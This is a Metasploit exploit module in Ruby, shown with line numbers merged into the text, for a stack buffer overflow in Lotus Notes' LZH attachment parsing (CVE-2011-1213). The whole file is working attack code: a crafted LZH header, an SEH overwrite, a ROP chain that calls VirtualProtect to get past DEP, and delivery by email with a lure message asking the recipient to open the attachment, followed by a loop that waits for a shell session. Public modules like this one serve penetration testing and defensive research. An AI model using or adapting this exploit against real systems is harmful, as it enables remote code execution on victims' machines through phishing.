Path: blob/master/modules/exploits/windows/lotus/lotusnotes_lzh.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking # needs client interaction and permanent listener78#9# This module sends email messages via smtp10#11include Msf::Exploit::Remote::SMTPDeliver12include Msf::Exploit::Remote::Seh1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview (.lzh Attachment)',19'Description' => %q{20This module exploits a stack buffer overflow in Lotus Notes 8.5.2 when21parsing a malformed, specially crafted LZH file. This vulnerability was22discovered binaryhouse.net23},24'License' => MSF_LICENSE,25'Author' => [26'binaryhouse.net', # original discovery27'alino <26alino[at]gmail.com>', # Metasploit module28],29'References' => [30['CVE', '2011-1213'],31['OSVDB', '72706'],32['BID', '48018'],33['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=904'],34['URL', 'http://www.ibm.com/support/docview.wss?uid=swg21500034'],35],36'Stance' => Msf::Exploit::Stance::Passive,37'DefaultOptions' => {38'EXITFUNC' => 'process',39},40'Platform' => ['win'],41'Targets' => [42[43'Lotus Notes 8.0.x - 8.5.2 FP2 / Windows Universal',44{45'Offset' => 6741,46'Ret' => 0x780c26b2 # POP ECX; POP ECX; RETN MSVCP60.dll47}48],4950[51'Lotus Notes 8.5.2 FP2 / Windows Universal / DEP',52{53'Offset' => 6745,54'Ret' => 0x60dc1043 # ADD ESP,52C; XOR EAX,EAX; POP EDI; POP ESI; POP EBX; POP EBP; RETN 4 nnotes.dll55}56],57],58'DisclosureDate' => '2011-05-24',59'DefaultTarget' => 0,60'Notes' => {61'Reliability' => UNKNOWN_RELIABILITY,62'Stability' => UNKNOWN_STABILITY,63'SideEffects' => UNKNOWN_SIDE_EFFECTS64}65)66)6768register_options(69[70#71# Email options72#73OptString.new('FILENAME',74[false, 'Sets the attachment file name', 'data.lzh']),75OptString.new('MESSAGE',76[false, 'Email message text', 'Important message, please view attachment!'])77]78)79register_advanced_options(80[81OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]),82OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 0])83]84)85end8687def exploit88header = "\x08" # Size of archived file header <-- 8 - 13 = FFFFFFF689header << "\x1a" # 1 byte Header checksum90header << "-lh0-" # Method ID (No compression)91header << "\x7c\x1a\x00\x00" # Compressed file size92header << "\x7c\x1a\x00\x00" # Uncompressed file size93header << "\xB2\x5e\xab\x3c" # Original file date/time94header << "\x20" # File attribute95header << "\x00" # Level identifier96header << "\x07" # File name length97header << "poc.txt" # File name98header << "\x25\x7d" # 16 bit CRC of the uncompressed file99100lzh = header101lzh << rand_text(target['Offset'])102103if (target == targets[0])104105lzh << generate_seh_record(target.ret)106lzh << make_nops(8)107lzh << payload.encoded108109elsif (target == targets[1])110111rop_nop = [0x7c3c5958].pack('V') * 47 # RETN MSVCP71.dll112113rop_gadgets =114[1150x60524404, # POP EAX; RETN nnotes.dll1160x7c37a140, # VirtualProtect()1170x7c3a4000, # MOV EAX,DWORD PTR DS:[EAX]; RETN MSVCP71.dll1180x603c53c1, # MOV ESI,EAX; RETN nnotes.dll1190x60620001, # POP EBP; RETN nnotes.dll1200x7c3c5946, # PUSH ESP; RETN MSVCP71.dll1210x7c34280f, # POP EBX; RETN MSVCR71.dll1220x00001954, # dwSize1230x780ea001, # POP ECX; RETN MSVCP60.dll1240x7c38b000, # lpflOldProtect1250x60e73200, # POP EDI; RETN nnotes.dll1260x60e73201, # RETN nnotes.dll1270x601d5f02, # POP EDX; RETN nnotes.dll1280x00000040, # flNewProtect1290x60524404, # POP EAX; RETN nnotes.dll1300x90909090, # NOP1310x60820801, # PUSHAD; RETN nnotes.dll132].pack("V*")133134lzh << [target.ret].pack('V')135lzh[32, rop_nop.length] = rop_nop136lzh[220, rop_gadgets.length] = rop_gadgets137lzh[289, payload.encoded.length] = payload.encoded138end139140name = datastore['FILENAME'] || Rex::Text.rand_text_alpha(rand(10) + 1) + ".lzh"141data = datastore['MESSAGE'] || Rex::Text.rand_text_alpha(rand(32) + 1)142143msg = Rex::MIME::Message.new144msg.mime_defaults145msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32) + 1)146msg.to = datastore['MAILTO']147msg.from = datastore['MAILFROM']148149msg.add_part(Rex::Text.encode_base64(data, "\r\n"), "text/plain", "base64", "inline")150msg.add_part_attachment(lzh, name)151152send_message(msg.to_s)153154print_status("Waiting for a payload session (backgrounding)...")155156if not datastore['ExitOnSession'] and not job_id157fail_with(Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")158end159160stime = Time.now.to_f161print_status "Starting the payload handler..."162while (true)163break if session_created? and datastore['ExitOnSession']164break if (datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f))165166select(nil, nil, nil, 1)167end168end169end170171172